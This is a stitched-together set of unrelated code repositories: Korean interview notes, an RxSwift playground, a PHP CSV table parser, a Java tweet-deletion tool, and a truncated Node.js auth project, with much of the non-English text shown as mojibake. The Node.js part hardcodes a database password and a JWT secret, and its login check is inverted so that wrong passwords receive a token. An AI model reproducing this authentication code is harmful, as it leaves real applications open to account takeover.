์š”์•ฝํ•ด์ค€๋‹ค. - ์šด์˜ ์ด์Šˆ๋ฅผ ๋…ผ์˜ํ•œ๋‹ค. - ๋ชจ๋‹ˆํ„ฐ๋ง ๋ฉ”ํŠธ๋ฆญ ์ˆ˜์ง‘, ๋กœ๊ทธ, ๋ฐฐํฌ ๋“ฑ - ๋ฏธ๋ž˜์˜ ๊ทœ๋ชจ ํ™•์žฅ์— ๋Œ€ํ•œ ๋…ผ์˜ - ์„ธ๋ถ€ ๊ฐœ์„  ์‚ฌํ•ญ ๋…ผ์˜ #### ํ•ด์•ผ ํ•  ๊ฒƒ - ๏ปฟ๏ปฟ์งˆ๋ฌธ์„ ํ†ตํ•ด ํ™•์ธํ•˜๋ผ(clarification). ์Šค์Šค๋กœ ๋‚ด๋ฆฐ ๊ฐ€์ •์ด ์˜ณ๋‹ค ๋ฏฟ๊ณ  ์ง„ํ–‰ํ•˜์ง€ ๋ง๋ผ. - ๏ปฟ๏ปฟ๋ฌธ์ œ์˜ ์š”๊ตฌ์‚ฌํ•ญ์„ ์ดํ•ดํ•˜๋ผ. - ๏ปฟ๏ปฟ์ •๋‹ต์ด๋‚˜ ์ตœ์„ ์˜ ๋‹ต์•ˆ ๊ฐ™์€ ๊ฒƒ์€ ์—†๋‹ค๋Š” ์ ์„ ๋ช…์‹ฌํ•˜๋ผ. ์Šคํƒ€ํŠธ์—…์„ ์œ„ํ•œ ์„ค๊ณ„์•ˆ๊ณผ ์ˆ˜๋ฐฑ๋งŒ ์‚ฌ์šฉ์ž๋ฅผ ์ง€์›ํ•ด์•ผ ํ•˜๋Š” ์ค‘๊ฒฌ ๊ธฐ์—…์„ ์œ„ํ•œ ์„ค๊ณ„์•ˆ์ด ๊ฐ™์„ ๋ฆฌ ์—†๋‹ค. ์š”๊ตฌ์‚ฌํ•ญ์„ ์ •ํ™•ํ•˜๊ฒŒ ์ดํ•ดํ–ˆ๋Š”์ง€ ๋‹ค์‹œ ํ™•์ธํ•˜๋ผ. - ๏ปฟ๏ปฟ๋ฉด์ ‘๊ด€์ด ์—ฌ๋Ÿฌ๋ถ„์˜ ์‚ฌ๊ณ  ํ๋ฆ„์„ ์ดํ•ดํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋ผ. ๋ฉด์ ‘๊ด€๊ณผ ์†Œํ†ต ํ•˜๋ผ. - ๏ปฟ๏ปฟ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ์—ฌ๋Ÿฌ ํ•ด๋ฒ•์„ ํ•จ๊ป˜ ์ œ์‹œํ•˜๋ผ. - ๏ปฟ๏ปฟ๊ฐœ๋žต์  ์„ค๊ณ„์— ๋ฉด์ ‘๊ด€์ด ๋™์˜ํ•˜๋ฉด, ๊ฐ ์ปดํฌ๋„ŒํŠธ์˜ ์„ธ๋ถ€์‚ฌํ•ญ์„ ์„ค๋ช…ํ•˜๊ธฐ ์‹œ ์ž‘ํ•˜๋ผ. ๊ฐ€์žฅ ์ค‘์š”ํ•œ ์ปดํฌ๋„ŒํŠธ๋ถ€ํ„ฐ ์ง„ํ–‰ํ•˜๋ผ. - ๋ฉด์ ‘๊ด€์˜ ์•„์ด๋””์–ด๋ฅผ ๋Œ์–ด๋‚ด๋ผ. ์ข‹์€ ๋ฉด์ ‘๊ด€์€ ํŒ€์› ์ฒ˜๋Ÿผ ํ˜‘๋ ฅํ•œ๋‹ค. - ํฌ๊ธฐํ•˜์ง€ ๋ง๋ผ #### ํ•˜์ง€ ๋ง์•„์•ผ ํ•  ๊ฒƒ - ๏ปฟ๏ปฟ์ „ํ˜•์ ์ธ ๋ฉด์ ‘ ๋ฌธ์ œ๋“ค์—๋„ ๋Œ€๋น„ํ•˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ ๋ฉด์ ‘์žฅ์— ๊ฐ€์ง€ ๋ง๋ผ. - ๏ปฟ๏ปฟ์š”๊ตฌ์‚ฌํ•ญ์ด๋‚˜ ๊ฐ€์ •๋“ค์„ ๋ถ„๋ช…ํžˆ ํ•˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ ์„ค๊ณ„๋ฅผ ์ œ์‹œํ•˜์ง€ ๋ง๋ผ. - ๏ปฟ๏ปฟ์ฒ˜์Œ๋ถ€ํ„ฐ ํŠน์ • ์ปดํฌ๋„ŒํŠธ์˜ ์„ธ๋ถ€์‚ฌํ•ญ์„ ๋„ˆ๋ฌด ๊นŠ์ด ์„ค๋ช…ํ•˜์ง€ ๋ง๋ผ. ๊ฐœ๋žต์  ์„ค ๊ณ„๋ฅผ ๋งˆ์นœ ๋’ค์— ์„ธ๋ถ€์‚ฌํ•ญ์œผ๋กœ ๋‚˜์•„๊ฐ€๋ผ. - ๏ปฟ๏ปฟ์ง„ํ–‰ ์ค‘์— ๋ง‰ํ˜”๋‹ค๋ฉด, ํžŒํŠธ๋ฅผ ์ฒญํ•˜๊ธฐ๋ฅผ ์ฃผ์ €ํ•˜์ง€ ๋ง๋ผ. - ๏ปฟ๏ปฟ๋‹ค์‹œ ๋งํ•˜์ง€๋งŒ, ์†Œํ†ต์„ ์ฃผ์ €ํ•˜์ง€ ๋ง๋ผ. ์นจ๋ฌต ์†์— ์„ค๊ณ„๋ฅผ ์ง„ํ–‰ํ•˜์ง€ ๋ง๋ผ. - ๏ปฟ๏ปฟ์„ค๊ณ„์•ˆ์„ ๋‚ด๋†“๋Š” ์ˆœ๊ฐ„ ๋ฉด์ ์ด ๋๋‚œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜์ง€ ๋ง๋ผ. ๋ฉด์ ‘๊ด€์ด ๋๋‚ฌ๋‹ค๊ณ  ๋งํ•˜๊ธฐ ์ „๊นŒ์ง€๋Š” ๋๋‚œ ๊ฒƒ์ด ์•„๋‹ˆ๋‹ค. ์˜๊ฒฌ์„ ์ผ์ฐ, ๊ทธ๋ฆฌ๊ณ  ์ž์ฃผ ๊ตฌํ•˜๋ผ. #### ์‹œ๊ฐ„ ๋ฐฐ๋ถ„ 1๋‹จ๊ณ„- ๋ฌธ์ œ ์ดํ•ด ๋ฐ ์„ค๊ณ„ ๋ฒ”์œ„ ํ™•์ • : 3~10๋ถ„ 2๋‹จ๊ณ„ - ๊ฐœ๋žต์  ์„ค๊ณ„์•ˆ ์ œ์‹œ ๋ฐ ๋™์˜ ๊ตฌํ•˜๊ธฐ : 10 ~ 15๋ถ„ 3๋‹จ๊ณ„ - ์ƒ์„ธ ์„ค๊ณ„ : 10 ~ 25๋ถ„ 4๋‹จ๊ณ„ - ๋งˆ๋ฌด๋ฆฌ : 3~ 5๋ถ„```
yuki-325/HelloRxSwift
yuki-325/HelloRxSwift Contents.swift ```import UIKit import RxSwift //MARK: - observar let observable = Observable.just(1) // subscribeใงeventใ‚’print //next(1) //next(2) //next(3) //completed let observable2 = Observable.of(1, 2, 3) // subscribeใงeventใ‚’print //next([1, 2, 3]) //completed // ้…ๅˆ—ๅ…จไฝ“ใงใ‚ชใƒ–ใ‚ถใƒผใƒใƒ–ใƒซใ‚’ไฝœๆˆใ—ใฆใ„ใ‚‹ let observable3 = Observable.of([1, 2, 3]) // subscribeใงeventใ‚’print //next(1) //next(2) //next(3) //next(4) //next(5) //completed // ้…ๅˆ—ใฎไธญใฎๅ€‹ใ€…ใฎ่ฆ็ด ใ”ใจใซใ‚ชใƒ–ใ‚ถใƒผใƒใƒ–ใƒซใ‚’ไฝœๆˆใ—ใฆใ„ใ‚‹ let observable4 = Observable.from([1, 2, 3, 4, 5]) //MARK: - subscription observable4.subscribe { event in // ่ฆ็ด ๅ€คใฎใฟใ‚’ๅ‡บๅŠ› if let element = event.element { print(element) } } observable3.subscribe { event in if let element = event.element { print(element) } } // ใ“ใ†ใ™ใ‚‹ใจไธ€ใ€…elementใซๅค‰ใˆใชใใฆใ‚‚ใ‚ˆใใชใ‚‹ observable4.subscribe(onNext: { element in print(element) }) ``` Contents.swift ```import UIKit import RxSwift let disposeBag = DisposeBag() //MARK: - PublishSubject let subject = PublishSubject<String>() subject.onNext("Issue 1") //ใ“ใ“ใฏๅ‡บๅŠ›ใ•ใ‚Œใชใ„ subject.subscribe { event in print(event) } subject.onNext("Issue 2") subject.onNext("Issue 3") //subject.dispose() subject.onCompleted() subject.onNext("Issue 4") //ใ“ใ“ใฏๅ‡บๅŠ›ใ•ใ‚Œใชใ„ //MARK: - BehaviorSubject let subject2 = BehaviorSubject(value: "Initial Value") subject2.onNext("last") //ใ“ใ†ใ™ใ‚‹ใ“ใจใงInitial ValueใŒๅ‡บๅŠ›ใ•ใ‚Œใชใใชใ‚‹ subject2.subscribe { event in print(event) } subject2.onNext("A") //MARK: - ReplaySubject //bufferSizeใงๆœ€ๅพŒใฎ2ใคใฎใ‚คใƒ™ใƒณใƒˆใ‚’ๆŒ‡ๅฎš let subject3 = ReplaySubject<String>.create(bufferSize: 2) subject3.onNext("1") subject3.onNext("2") subject3.onNext("3") subject3.subscribe { print($0) } subject3.onNext("4") subject3.onNext("5") subject3.onNext("6") print("[ReplaySubject 2]") subject3.subscribe { print($0) } ``` Contents.swift ```import UIKit import RxSwift //MARK: - subscriptionใฎ็ ดๆฃ„ let disposeBag = DisposeBag() Observable.of("A", "B", "C") .subscribe { print($0) }.disposed(by: disposeBag) Observable<String>.create { observar in observar.onNext("A") observar.onCompleted() observar.onNext("?") //onCompletedใ—ใŸๅพŒใฏonNextใงใใชใ„ return Disposables.create() }.subscribe(onNext: { print($0) }, onError: { print($0) }, onCompleted: { print("Completed") }, onDisposed: { print("Disposed") }) ```
yuki-nguyen/Parsing-CSV-File-to-Table
yuki-nguyen/Parsing-CSV-File-to-Table ParseData.php ```<?php class ParseData { private $headers = ['last', 'first', 'salary']; private $data = array(); /** * @return array */ public function getData() { return $this->data; } /** * @param array $data */ public function setData($data) { $this->data = $data; } /** * @return array */ public function getHeaders() { return $this->headers; } /** * @param array $headers */ public function setHeaders($headers) { $this->headers = $headers; } public function readFile($string) { try{ $txt_file = file_get_contents($string); foreach (explode("\n", $txt_file) as $line) { $row = explode(',', $line); $this->data[] = array( $this->headers[0] => $row[0], $this->headers[1] => $row[1], $this->headers[2] => (float)$row[2] ); }; } catch (Exception $e){ echo 'Message: ' .$e->getMessage(); throw new Exception(); } } public function getMaxSizeColumn($columnName) { $maxColumnLen = 0; for ($i = 0; $i < count($this->data); $i++){ $lastLen = strlen($this->data[$i][$columnName]); if($lastLen > $maxColumnLen) $maxColumnLen = $lastLen; } $bonusSpaces = 2; return $maxColumnLen + $bonusSpaces; } private function getMaxSizeColumns(){ $maxSizeOfColumns = []; foreach ($this->headers as $column) { $maxSizeOfColumns[] = $this->getMaxSizeColumn($column); } return $maxSizeOfColumns; } public function sortBySalary(){ $countData = count($this->data); for($i = 0; $i < $countData - 1; $i++){ for($j = $i + 1; $j < $countData; $j++){ if($this->data[$i]['salary'] < $this->data[$j]['salary']){ $temp = $this->data[$i]; $this->data[$i] = $this->data[$j]; $this->data[$j] = $temp; } } } } public function printData(){ $cotent = $this->formatDataAsTable(); echo($cotent); } public function data($argument1) { // TODO: write logic here } /** * @return string */ private function money_format($format, $number) { $regex = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'. '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/'; if (setlocale(LC_MONETARY, 0) == 'C') { setlocale(LC_MONETARY, ''); } $locale = localeconv(); preg_match_all($regex, $format, $matches, PREG_SET_ORDER); foreach ($matches as $fmatch) { $value = floatval($number); $flags = array( 'fillchar' => preg_match('/\=(.)/', $fmatch[1], $match) ? $match[1] : ' ', 'nogroup' => preg_match('/\^/', $fmatch[1]) > 0, 'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ? $match[0] : '+', 'nosimbol' => preg_match('/\!/', $fmatch[1]) > 0, 'isleft' => preg_match('/\-/', $fmatch[1]) > 0 ); $width = trim($fmatch[2]) ? (int)$fmatch[2] : 0; $left = trim($fmatch[3]) ? (int)$fmatch[3] : 0; $right = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits']; $conversion = $fmatch[5]; $positive = true; if ($value < 0) { $positive = false; $value *= -1; } $letter = $positive ? 'p' : 'n'; $prefix = $suffix = $cprefix = $csuffix = $signal = ''; $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign']; switch (true) { case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+': $prefix = $signal; break; case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+': $suffix = $signal; break; case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+': $cprefix = $signal; break; case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+': $csuffix = $signal; break; case $flags['usesignal'] == '(': case $locale["{$letter}_sign_posn"] == 0: $prefix = '('; $suffix = ')'; break; } if (!$flags['nosimbol']) { $currency = $cprefix . ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) . $csuffix; } else { $currency = ''; } $space = $locale["{$letter}_sep_by_space"] ? ' ' : ''; $value = number_format($value, $right, $locale['mon_decimal_point'], $flags['nogroup'] ? '' : $locale['mon_thousands_sep']); $value = @explode($locale['mon_decimal_point'], $value); $n = strlen($prefix) + strlen($currency) + strlen($value[0]); if ($left > 0 && $left > $n) { $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0]; } $value = implode($locale['mon_decimal_point'], $value); if ($width > 0) { $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ? STR_PAD_RIGHT : STR_PAD_LEFT); } $format = str_replace($fmatch[0], $value, $format); } return $locale['currency_symbol'].$format; } public function moneyFormat(){ setlocale(LC_MONETARY, 'en_US'); $countData = count($this->data); for($i = 0; $i < $countData; $i++){ $this->data[$i]['salary']= $this-> money_format('%i',$this->data[$i]['salary']); } } public function formatDataAsTable() { $size = $this->getMaxSizeColumns(); $cotent = ''; $cotent .= 'Last' . str_repeat(' ', $size[0] - strlen($this->headers[0])) . 'First' . str_repeat(' ', $size[1] - strlen($this->headers[1])) . 'Salary' . str_repeat(' ', $size[2] - strlen($this->headers[2])) . "\n"; $cotent .= str_repeat('-', array_sum($size)) . "\n"; $countData = count($this->data); for ($i = 0; $i < $countData; $i++) { $cotent .= $this->data[$i]['last'] . str_repeat(' ', max(0,$size[0] - strlen($this->data[$i]['last']))) . $this->data[$i]['first'] . str_repeat(' ', $size[1] - strlen($this->data[$i]['first'])) . $this->data[$i]['salary'] . str_repeat(' ', $size[2] - strlen($this->data[$i]['salary'])) . "\n"; } return $cotent; } } ``` ParseDataSpec.php ```<?php namespace spec; use ParseData; use PhpSpec\ObjectBehavior; use Prophecy\Argument; class ParseDataSpec extends ObjectBehavior { function it_takes_exception_with_invalid_file() { $this->shouldThrow('Exception')->duringReadFile("sssss"); } function it_is_initializable() { $this->shouldHaveType(ParseData::class); } function it_return_array_10_10_7_for_max_length() { $this->setData( [['last'=>"Zarnecki",'first'=>'Geoffrey','salary'=>'56500']]); $size = array(10,10,7); $this->getMaxSizeColumns()->shouldReturn($size); } } ``` main.php ```<?php require_once ('ParseData.php'); /** * Created by PhpStorm. * User: toanlamt * Date: 7/26/2018 * Time: 11:39 AM */ $parsedata = new ParseData(); $filename="data.txt"; $parsedata->readFile($filename); $parsedata->sortBySalary(); $parsedata->moneyFormat(); $parsedata->printData();```
yukihane/remove-tweets-all
yukihane/remove-tweets-all Urls.java ```package jp.himeji_cs; import lombok.AccessLevel; import lombok.NoArgsConstructor; @NoArgsConstructor(access = AccessLevel.PRIVATE) public final class Urls { public static final String PREFIX = "https://mobile.twitter.com"; /** * ใƒญใ‚ฐใ‚คใƒณใ™ใ‚‹้š›ใฎใ‚นใ‚ฟใƒผใƒˆใƒšใƒผใ‚ธใ€‚ * {@code _mb_tk}ใ‚ฏใƒƒใ‚ญใƒผใ‚’ๅ–ๅพ—ใ—ใŸใ„ใฎใงๆœ€ๅˆใซใ‚ขใ‚ฏใ‚ปใ‚นใ—ใพใ™ใ€‚ */ public static final String TOP = PREFIX + "/login"; /** * ID, passwordใ‚’POSTใ™ใ‚‹URLใ€‚ */ public static final String LOGIN_POST = PREFIX + "/sessions"; public static final String DELETE_TMPLATE = "https://mobile.twitter.com/statuses/{id}/delete"; } ``` TargetNotFoundException.java ```package jp.himeji_cs.exception; import lombok.NoArgsConstructor; /** * ๆ“ไฝœ(ๅ‰Š้™ค)ๅฏพ่ฑกใฎใƒ„ใ‚คใƒผใƒˆใŒๅญ˜ๅœจใ—ใชใ„ๅ ดๅˆใฎไพ‹ๅค–ใ€‚ */ @NoArgsConstructor public class TargetNotFoundException extends RuntimeException { private static final long serialVersionUID = -9075973044880216123L; public TargetNotFoundException(final String message) { super(message); } } ``` App.java ```package jp.himeji_cs; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.Optional; import jp.himeji_cs.exception.TargetNotFoundException; import lombok.Data; import lombok.extern.slf4j.Slf4j; import org.apache.hc.core5.http.ParseException; import picocli.CommandLine; import picocli.CommandLine.Option; @Slf4j public class App { @Data static class Opt { @Option(names = "-u", description = "username or email for login", required = true) private String username; @Option(names = "-p", description = "password for login", required = true) private String password; @Option(names = "-f", description = "Twitter archive file(.zip)") private String archiveFile; @Option(names = "--dry-run", description = "true, if not delete actually") private boolean dryRun; } public static void main(final String[] args) throws IOException, ParseException { log.trace("Called: main"); log.debug("debug"); try { exec(args); } catch (final Exception e) { log.debug("exception", e); throw e; } } private static void exec(final String[] args) throws IOException { final Opt opt = new Opt(); new CommandLine(opt).parseArgs(args); final TwitterArchive ar = new TwitterArchive(); final List<String> targets; final Optional<List<String>> stored = ar.readStore(); if (!stored.isEmpty()) { targets = stored.get(); } else { final String file = opt.getArchiveFile(); if (file == null) { System.err.println("-f [archiveFile] option required"); return; } targets = ar.getIds(opt.getArchiveFile()); } final TwitterService tw = new TwitterService(); tw.init(); tw.login(opt.getUsername(), opt.getPassword()); if (opt.isDryRun()) { log.info("Successful dry-run. See log for delete target IDs."); log.debug("DELETE TARGETS:"); log.debug("total: {}", targets.size()); targets.forEach(id -> { log.debug(id); }); return; } final List<String> remains = new ArrayList<>(targets); log.info("remained size: {}", remains.size()); try { targets.forEach(id -> { try { tw.deleteTweet(id); remains.remove(id); } catch (ParseException | IOException e) { remains.remove(id); log.error("Delete error, ID: {}, message: {}", id, e.getMessage()); log.debug("", e); } catch (final TargetNotFoundException e) { remains.remove(id); log.error("Delete error(not found), ID: {}", id); log.debug("", e); } }); } finally { ar.store(remains); log.info("remained size: {}", remains.size()); } log.info("Finish deleting"); } } ``` TwitterArchive.java ```package jp.himeji_cs; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.List; import java.util.Optional; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.stream.Collectors; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; import lombok.extern.slf4j.Slf4j; /** * * @see <a href= * "https://help.twitter.com/ja/managing-your-account/how-to-download-your-twitter-archive"> * ๅ…จใƒ„ใ‚คใƒผใƒˆๅฑฅๆญดใ‚’ใƒ€ใ‚ฆใƒณใƒญใƒผใƒ‰ใ—ใฆ่ฆ‹ใ‚‹ๆ–นๆณ•</a> * @see <a href= * "https://help.twitter.com/en/managing-your-account/how-to-download-your-twitter-archive"> * How to download your Twitter archive</a> */ @Slf4j public class TwitterArchive { private static final Pattern PATTERN = Pattern.compile(" \"id\" : \"(\\d+)\","); private static final Path STORE_FILE = Paths.get("tweets.txt"); private static Optional<String> resolve(final String str) { final Matcher m = PATTERN.matcher(str); if (m.matches()) { return Optional.of(m.group(1)); } return Optional.empty(); } public Optional<List<String>> readStore() throws IOException { if (!Files.isReadable(STORE_FILE)) { return Optional.empty(); } try (final BufferedReader reader = Files.newBufferedReader(STORE_FILE)) { return Optional.of(reader.lines().collect(Collectors.toList())); } } public void store(final List<String> ids) throws IOException { try ( final BufferedWriter writer = Files.newBufferedWriter(STORE_FILE)) { for (final String line : ids) { writer.write(line); writer.write("\n"); } } } public List<String> getIds(final String fileName) throws IOException { final Path inPath = Paths.get(fileName); try (final ZipInputStream zis = new ZipInputStream(Files.newInputStream(inPath), StandardCharsets.UTF_8)) { ZipEntry ze; while ((ze = zis.getNextEntry()) != null) { if ("tweet.js".equals(ze.getName())) { final BufferedReader reader = new BufferedReader( new InputStreamReader(zis, StandardCharsets.UTF_8)); final List<String> res = reader.lines() .map(TwitterArchive::resolve) .flatMap(Optional::stream) .collect(Collectors.toList()); log.trace("delete targets: {}", res); return res; } } } throw new IOException("Invalid form file: " + fileName); } } ``` AuthorizationException.java ```package jp.himeji_cs.exception; import lombok.NoArgsConstructor; /** * ่ชๅฏ็ณปใฎๅ•้กŒใ€‚ๆœช่ช่จผ็Šถๆ…‹ใชใฉใ‚‚่ชๅฏใฎๅ•้กŒใจใฟใชใ—ใฆใ„ใพใ™ใ€‚ */ @NoArgsConstructor public class AuthorizationException extends RuntimeException { private static final long serialVersionUID = 7891149108388033192L; public AuthorizationException(final String message) { super(message); } } ``` TwitterService.java ```package jp.himeji_cs; import java.io.IOException; import java.net.HttpCookie; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Optional; import java.util.stream.Collectors; import jp.himeji_cs.exception.AuthorizationException; import jp.himeji_cs.exception.TargetNotFoundException; import lombok.extern.slf4j.Slf4j; import org.apache.hc.client5.http.classic.methods.HttpGet; import org.apache.hc.client5.http.classic.methods.HttpPost; import org.apache.hc.client5.http.config.RequestConfig; import org.apache.hc.client5.http.cookie.StandardCookieSpec; import org.apache.hc.client5.http.entity.UrlEncodedFormEntity; import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse; import org.apache.hc.client5.http.impl.classic.HttpClients; import org.apache.hc.core5.http.Header; import org.apache.hc.core5.http.HttpResponse; import org.apache.hc.core5.http.NameValuePair; import org.apache.hc.core5.http.ParseException; import org.apache.hc.core5.http.io.entity.EntityUtils; import org.apache.hc.core5.http.message.BasicNameValuePair; import org.jsoup.Connection.KeyVal; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.FormElement; import org.jsoup.select.Elements; @Slf4j public class TwitterService { private final CloseableHttpClient client; private HttpCookie mbTkCookie; public TwitterService() { final RequestConfig globalConfig = RequestConfig.custom() .setCookieSpec(StandardCookieSpec.RELAXED) .setRedirectsEnabled(false) .build(); client = HttpClients.custom().setDefaultRequestConfig(globalConfig).build(); // client = HttpClients.createDefault(); } public void init() throws IOException { log.debug("Called: init"); final HttpGet httpget = new HttpGet(Urls.TOP); try (final CloseableHttpResponse resp = client.execute(httpget)) { mbTkCookie = extractCookie(resp, "_mb_tk").orElseThrow(); } } private static String toString(final HttpCookie e) { return String.format("name=%s,value=%s,domain=%s,maxage=%s,secure=%s,httpOnly=%s", e.getName(), e.getValue(), e.getDomain(), e.getMaxAge(), e.getSecure(), e.isHttpOnly()); } public void login(final String id, final String password) throws IOException { log.debug("Called: login"); final List<NameValuePair> nvps = new ArrayList<>(); nvps.add(new BasicNameValuePair("authenticity_token", mbTkCookie.getValue())); nvps.add(new BasicNameValuePair("session[username_or_email]", id)); nvps.add(new BasicNameValuePair("session[password]", password)); final HttpPost httpPost = new HttpPost(Urls.LOGIN_POST); httpPost.setEntity(new UrlEncodedFormEntity(nvps)); try (CloseableHttpResponse resp = client.execute(httpPost)) { extractCookie(resp, "auth_token") .orElseThrow(() -> new AuthorizationException("Login failed")); } } /** * ่ฉฒๅฝ“ใƒ„ใ‚คใƒผใƒˆใŒๅ‰Š้™คๅฏ่ƒฝใ‹ใฉใ†ใ‹ใ€‚ * ใ“ใ‚Œใฏใ€็”ป้ขใซๅ‰Š้™คใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹ใฉใ†ใ‹ใงใ™ใ€‚ * ๅ‰Š้™คใƒœใ‚ฟใƒณใ‚’ๆŠผใ—ใŸๆ™‚ใ€ๆœฌๅฝ“ใซๅ‰Š้™คใ•ใ‚Œใ‚‹ใ‹ใฉใ†ใ‹ใฏใ‚ใ‹ใ‚Šใพใ›ใ‚“ใ€‚ * (ใชใ‚“ใจใ€ไป–ไบบใฎใƒ„ใ‚คใƒผใƒˆใ‚’่กจ็คบใ—ใŸๅ ดๅˆใซใ‚‚ๅ‰Š้™คใƒœใ‚ฟใƒณใฏ่กจ็คบใ•ใ‚Œใพใ™๏ผ * ใŒใ€ใ‚‚ใกใ‚ใ‚“ๅ‰Š้™คใƒœใ‚ฟใƒณใ‚’ๆŠผใ—ใฆใ‚‚ๅ‰Š้™คใฏใ•ใ‚Œใพใ›ใ‚“) */ public void deleteTweet(final String tweetId) throws IOException, ParseException { log.debug("Called: deleteTweet: " + tweetId); final String url = Urls.DELETE_TMPLATE.replace("{id}", tweetId); final HttpGet statusPage = new HttpGet(url); // statusPage.addHeader("sec-fetch-site", "same-origin"); statusPage.addHeader("referer", url); final List<NameValuePair> nvps; try (final CloseableHttpResponse resp = client.execute(statusPage)) { final int statusCode = resp.getCode(); if (statusCode == 403) { log.debug("403 Forbidden: {}", tweetId); return; } else if (statusCode == 404) { log.debug("404 Not Found: {}", tweetId); return; } else if (statusCode == 429) { log.error("429 Too Many Requests: {}", tweetId); throw new AuthorizationException( String.format("Delete request(%s) is not accepted: %d", tweetId, statusCode)); } else if (statusCode >= 400 && statusCode < 500) { throw new AuthorizationException( String.format("Delete request(%s) is not accepted: %d", tweetId, statusCode)); } final String body = EntityUtils.toString(resp.getEntity()); log.trace("BODY: {}", body); final Document html = Jsoup.parse(body); final Elements forms = html.getElementsByTag("form"); final int size = forms.size(); if (size != 1) { throw new TargetNotFoundException( String.format("Not found tweet(%d) %s", size, tweetId)); } final FormElement form = (FormElement) forms.get(0); final List<KeyVal> formData = form.formData(); log.trace("formData: {}", formData); final Optional<String> postKeyTweetId = formData.stream() .map(KeyVal::key) .filter("tweet_id"::equals) .findAny(); if (postKeyTweetId.isEmpty()) { throw new TargetNotFoundException( String.format("Not found tweet(%d) %s", size, tweetId)); } nvps = formData.stream() .map(e -> new BasicNameValuePair(e.key(), e.value())) .collect(Collectors.toList()); } final HttpPost deleteReq = new HttpPost(url); deleteReq.addHeader("referer", url); deleteReq.setEntity(new UrlEncodedFormEntity(nvps)); try (final CloseableHttpResponse resp = client.execute(deleteReq)) { // ๆœฌๅฝ“ใซๅ‰Š้™คใ—ใฆใ„ใ‚‹ใ‹ใฉใ†ใ‹ใฏใ“ใฎใƒฌใ‚นใƒใƒณใ‚นใงใฏใปใจใ‚“ใฉๅˆคๆ˜Žใ—ใชใ„ใฎใงๆฐ—ไผ‘ใ‚ // ๅ‰Š้™คใงใใŸใ‹ใกใ‚ƒใ‚“ใจ็ขบ่ชใ™ใ‚‹ใซใฏๅ†ๅบฆๅŒใ˜idใงใƒชใ‚ฏใ‚จใ‚นใƒˆใ‹ใ‘ใฆใฟใ‚‹ใ—ใ‹็„กใ„ใจๆ€ใ† final int statusCode = resp.getCode(); if (statusCode == 429) { log.error("429 Too Many Requests"); throw new AuthorizationException( String.format("Delete request(%s) is not accepted: %d", tweetId, statusCode)); } else if (statusCode >= 400 && statusCode < 500) { throw new AuthorizationException( String.format("Delete request(%s) is not accepted: %d", tweetId, statusCode)); } else if (statusCode >= 500) { throw new IOException("Delete error: " + statusCode); } } } private static Optional<HttpCookie> extractCookie(final HttpResponse resp, final String name) { final Optional<String> cookieStr = Arrays.stream(resp.getHeaders("set-cookie")) .map(Header::getValue) .filter(e -> e.startsWith(name)) .findAny(); log.trace("cookie({}): {}", name, cookieStr); return cookieStr.map(str -> HttpCookie.parse(str).get(0)); } } ```
yukii/ProjectNodeJS
yukii/ProjectNodeJS auth.controller.js ```const User = require('../models/user.model') const bcrypt = require('bcrypt') const jwt = require('jsonwebtoken') exports.create = (req, res) => { let heshedPassword = bcrypt.hasgSync(req.body.password, 8); console.log(heshedPassword) const user = new User({ email: req.body.email, password: heshedPassword, firstName: req.body.firstName, lastName: req.body.lastName, admin: req.body.admin }) // if (err) { // res.send(err) // } // else { user.save().then(data => { let token = jwt.sign({ id: user.email, admin: user.admin }, 'supersecret', { expiresIn: 86400 }) res.send({ auth: true, token: token, body: data }) }).catch(err => { res.status(500).send({ message: err.message }) console.log(err) }) // } } exports.login = (req, res) => { User.findOne(req.body.email).then(user => { // {email: req.body.email} if (!user) {return res.status(404).send('nope')} if (bcrypt.compareSync(req.body.password, user.password)) { return res.status(401).send({ auth: false, token: null }) } let token = jwt.sign({ id: user._id, admin: user.admin, data: user }, "supersecret", { expires: 86400 }) res.status(200).send({ auth: true, token: token }) }) // etape 1: rechercher dans la db le user avec email // etape 2: vรฉrifier si le mot de passe reรงu == mot de passe dans la db // etape 3: gรฉnรฉrer un nouveau token et onl'envoie dans la rรฉponse } ``` db.config.js ```module.exports = { // changer le nom de la db url:"mongodb://admin:myroot1@ds219839.mlab.com:19839/golf" } ``` README.md ```# ProjectNodeJS Projet de NodeJS B3 Mari-Annaig Dupaya Vous aurez besoin d'installer les modules node js: - express - body-parser - mongoose - jsonwebtaken - bcrypt ``` mongoose.service.js ```const mongoose = require('mongoose'); const config = require('../config/db.config'); exports.connect = () => { let url = config.url; mongoose.connect(url, { useNewUrlParser : true, useUnifiedTopology: true } ).then(() => { console.log('Sucess to connect to db') }).catch(err => { console.log('could not connect to db : '.err) process.exit(-1) }) } ``` user.route.js ```const express = require('express') const router = express.Router() const user = require('../controllers/user.controller') const verifyToken = require('../helpers/verifyToken') router.post('/users', verifyToken, user.create) router.get('/users', verifyToken, user.all) router.get('/removeAll', 